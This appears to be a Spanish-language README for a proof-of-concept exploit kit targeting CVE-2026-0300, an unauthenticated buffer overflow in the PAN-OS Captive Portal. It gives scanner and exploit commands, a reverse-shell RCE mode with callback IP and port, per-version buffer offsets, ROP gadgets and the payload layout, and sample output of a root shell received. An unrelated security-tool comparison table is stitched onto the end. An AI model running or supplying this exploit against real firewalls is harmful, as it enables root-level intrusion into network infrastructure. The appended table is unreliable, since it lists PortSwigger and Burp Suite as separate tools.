
Palo Alto - CVE-2026-0300 exploit
Crítico (CVSS 9.3) — Ejecución remota de código no autenticada en el Portal Cautivo de PAN-OS de Palo Alto Networks
CVE-2026-0300 es una vulnerabilidad crítica de desbordamiento de búfer en el servicio del Portal de Autenticación User-ID (también conocido como Portal Cautivo) del software PAN-OS de Palo Alto Networks. Un atacante no autenticado puede explotar esta vulnerabilidad enviando paquetes especialmente diseñados para ejecutar código arbitrario con privilegios de root en los firewalls de las series PA y VM.
Este repositorio contiene un kit de exploit de prueba de concepto que incluye:
Una vulnerabilidad de desbordamiento de búfer en el servicio del Portal de Autenticación User-ID del software PAN-OS permite a un atacante no autenticado ejecutar código arbitrario con privilegios de root en el firewall mediante el envío de paquetes especialmente diseñados. El servicio HTTP del Portal Cautivo utiliza búferes de pila de tamaño fijo para analizar las cabeceras HTTP, que pueden desbordarse mediante valores de cabecera de tamaño excesivo (Cookie, User-Agent, URI o cuerpo POST).
Ambas condiciones deben cumplirse para que un objetivo sea vulnerable:
No afectados: Prisma Access, Cloud NGFW, appliances de Panorama.
┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘
### Flujo del Scanner```
┌─────────────┐
│ Start Scan │
└──────┬──────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Target reachable?│──────────▶│ Skip port │
└──────┬───────────┘ └─────────────┘
│ Yes
▼
┌──────────────────┐
│ Send HTTP GET │
│ to common ports │
│ (443,80,8080, │
│ 8443,8843) │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Captive Portal │──────────▶│ Not exposed │
│ fingerprint? │ └─────────────┘
│ (login.esp, │
│ User-ID, PA-, │
│ PAN-OS, etc.) │
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Extract PAN-OS │
│ version from │
│ Server header / │
│ response body │
└──────┬───────────┘
│
▼
┌──────────────────┐ No ┌─────────────┐
│ Version in │──────────▶│ Not │
│ vulnerable │ │ vulnerable │
│ range? │ └─────────────┘
└──────┬───────────┘
│ Yes
▼
┌──────────────────┐
│ Report: │
│ • VULNERABLE │
│ • Version │
│ • Matched ranges │
│ • SSL cert info │
└──────────────────┘
┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘
---
## Estructura del Proyecto```
POC-CVE-2026-0300-exploit/
├── payload_gen.py # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt # Python dependencies
└── README.md # This file
git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit
pip3 install -r requirements.txt
**Requisitos**: Python 3.8+, solo biblioteca estándar para la funcionalidad principal. `requests` es opcional.
---
## Uso del Escáner — Paso a Paso
El escáner realiza comprobaciones seguras y no intrusivas para identificar objetivos vulnerables del Portal Cautivo de PAN-OS.
### Paso 1: Escanear un solo objetivo```bash
python3 scan.py --target 192.168.1.1
El escáner:
python3 scan.py --target 192.168.1.1 --port 443
### Paso 3: Escanear múltiples objetivos desde un archivo
Crea un archivo `targets.txt` con un objetivo por línea:```
192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored
### Paso 4: Guardar resultados como JSON```bash
python3 scan.py --target 192.168.1.1 --json scan_results.json
Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE
### Lo que detecta el escáner
| Indicador | Método |
|-----------|--------|
| Portal cautivo expuesto | Coincidencia de huella HTTP (patrones login.esp, User-ID, PA-, PAN-OS) |
| Versión de PAN-OS | Análisis de cabecera de servidor, extracción de regex en el cuerpo de la respuesta |
| Versión vulnerable | Comparación con los rangos de versiones afectadas por CVE-2026-0300 |
| Certificado SSL | Sujeto/emisor del certificado para identificación del objetivo |
---
## Uso del exploit — Paso a paso
El exploit admite tres modos de intensidad creciente.
### Modo 1: Detectar (seguro, no intrusivo)
Envía una cabecera moderadamente sobredimensionada y compara la respuesta con una solicitud normal. NO provoca la caída del servicio.```bash
python3 exploit.py --target 192.168.1.1 --mode detect
Lo que hace:
Envía una carga útil de desbordamiento de búfer con una dirección de retorno inválida (0x41414141) para bloquear el servicio de Captive Portal.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7
**Lo que hace**:
- Genera un payload de desbordamiento específico para la versión
- Sobrescribe la dirección de retorno con 0x4141414141414141
- Lo envía a través del vector de desbordamiento elegido (por defecto: cabecera Cookie)
- Verifica el fallo del servicio con una solicitud de seguimiento
- Informa si el servicio está caído después del payload
**Opciones**:
- `--vector cookie|ua|uri|post` — Elige el vector de desbordamiento (por defecto: cookie)
- `--http` — Usar HTTP en lugar de HTTPS
### Modo 3: RCE Completo (Reverse Shell)
Envía un desbordamiento de búfer con un payload de reverse shell. Inicia un listener para recibir la conexión de retorno.```bash
python3 exploit.py --target 192.168.1.1 --mode rce \
--version 11.2.7 \
--callback-ip 10.0.0.1 \
--callback-port 4444
Lo que hace:
Argumentos requeridos:
--version — Versión de PAN-OS objetivo (determina el offset del buffer y el gadget ROP)--callback-ip — Tu dirección IP (debe ser accesible desde el objetivo)--callback-port — Puerto para el callback de reverse shell (por defecto: 4444)Argumentos opcionales:
--vector cookie|ua|uri|post — Vector de desbordamiento (por defecto: cookie)--nop-sled 128 — Tamaño del NOP sled en bytes (por defecto: 128)--timeout 30 — Tiempo de espera de conexión y listener en segundos--http — Usar HTTP en lugar de HTTPS--json report.json — Guardar el informe del exploit como JSON[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!
### Versiones y vectores compatibles
**Versiones** (con desplazamientos de búfer específicos por versión):
| Versión | Desplazamiento de búfer | Gadget ROP | Vector predeterminado |
|---------|--------------|------------|----------------|
| 10.2.7 | 2048 | jmp rsp | cookie |
| 10.2.10 | 2048 | jmp rsp | cookie |
| 10.2.13 | 2048 | jmp rsp | cookie |
| 10.2.16 | 2048 | jmp rsp | cookie |
| 10.2.18 | 2048 | jmp rsp | cookie |
| 11.1.0 | 1024 | jmp rsp | cookie |
| 11.1.4 | 1024 | jmp rsp | ua |
| 11.1.6 | 1280 | jmp rsp | ua |
| 11.1.7 | 1280 | jmp rsp | ua |
| 11.1.10 | 1280 | jmp rsp | ua |
| 11.1.13 | 1280 | jmp rsp | ua |
| 11.2.0 | 3072 | jmp rsp | cookie |
| 11.2.4 | 3072 | jmp rsp | cookie |
| 11.2.7 | 3072 | jmp rsp | cookie |
| 11.2.10 | 3072 | jmp rsp | cookie |
| 12.1.0 | 4096 | jmp rsp | post |
| 12.1.4 | 4096 | jmp rsp | post |
**Vectores**:
| Vector | Cabecera/Ubicación | Descripción |
|--------|----------------|-------------|
| `cookie` | Cabecera Cookie | Desbordamiento mediante un valor de Cookie de tamaño excesivo |
| `ua` | Cabecera User-Agent | Desbordamiento mediante un valor de User-Agent de tamaño excesivo |
| `uri` | Ruta URI de la solicitud | Desbordamiento mediante una ruta URI de tamaño excesivo |
| `post` | Cuerpo POST | Desbordamiento mediante datos de formulario POST de tamaño excesivo |
---
## Diseño del Payload
### Disposición del desbordamiento de búfer```
┌─────────────────────────────────────────────────────────────────┐
│ HTTP Header Value (Cookie / User-Agent / URI / POST body) │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│ Padding │ Saved │ ROP │ NOP │ Shellcode │
│ (to │ Frame │ Gadget │ Sled │ (reverse shell) │
│ offset) │ Pointer │ (jmp │ (\x90 │ │
│ │ (8 B) │ rsp) │ * N) │ │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
↑ ↑
Buffer overflow Return address overwritten
overwrites here with jmp rsp gadget
El exploit utiliza shellcode de Linux x86_64 independiente de posición que:
socket(AF_INET, SOCK_STREAM, 0))connect())dup2())execve("/bin/sh", NULL, NULL))Tamaño total del shellcode: ~184 bytes, contiene instrucciones syscall (\x0f\x05).
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que le pertenezcan o para los que tenga permiso explícito por escrito. El uso no autorizado contra sistemas de producción es ilegal y puede violar leyes contra el fraude y el abuso informático.
Los autores no asumen ninguna responsabilidad por el mal uso de esta herramienta. Siga siempre prácticas de divulgación responsable y cumpla con las leyes y regulaciones aplicables.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-0300 |
| Gravedad | CRÍTICA |
| CVSS 4.0 | 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| CWE | CWE-787: Escritura fuera de límites |
| CAPEC | CAPEC-100: Desbordamiento de búferes |
| Impacto | Ejecución remota de código no autenticada (root) |
| Estado de Explotación | Se ha observado explotación limitada en entornos reales |
| Rama de PAN-OS | Versiones Vulnerables | Versión Corregida |
|---|
| 10.2 | 10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18 | 10.2.7-h34+ |
| 11.1 | 11.1.0–11.1.14 | 11.1.15+ |
| 11.2 | 11.2.0–11.2.11 | 11.2.12+ |
| 12.1 | 12.1.0–12.1.6 | 12.1.7+ |
| Característica | PortSwigger | OWASP ZAP | Caido | Burp Suite |
|---|
| Costo | $449/año + 5 herramientas gratuitas | Gratuito | Núcleo gratuito, Pro $10/mes | $449/año |
| Proxy | ✅ | ✅ | ✅ | ✅ |
| Repeater | ✅ | ✅ | ✅ | ✅ |
| Intruder | ✅ | ✅ (limitado) | ✅ (limitado) | ✅ |
| Scanner | ✅ (potente) | ✅ (básico) | ❌ | ✅ (versión Pro) |
| Extensibilidad | BChecks + Extensiones | Complementos | Flujos de trabajo | BApps |
| Soporte API | ✅ GraphQL | ✅ REST | ✅ GraphQL | ✅ REST |
| Incrustación del navegador | ✅ (Chromium) | ❌ (externo) | ❌ (externo) | ✅ (Chromium) |
| Colaborador | ✅ (integrado) | ❌ (requiere configuración) | ❌ | ✅ (integrado) |
| Rendimiento | ⚡ Excelente | 🐢 Más lento en aplicaciones grandes | ⚡ Muy rápido (Rust) | ⚡ Excelente |
| Curva de aprendizaje | 📈 Moderado | 📈 Moderado | 📈 Suave | 📈 Pronunciado |
| Tamaño de la comunidad | 🔥 🔥 🔥 🔥 | 🔥 🔥 🔥 🔥 🔥 | 🔥 🔥 | 🔥 🔥 🔥 🔥 🔥 |
| Ideal para | Profesionales avanzados + automatización | Consciente del presupuesto, aprendizaje | Velocidad, flujo de trabajo moderno | Pruebas manuales profundas |
| python3 scan.py --targets targets.txt |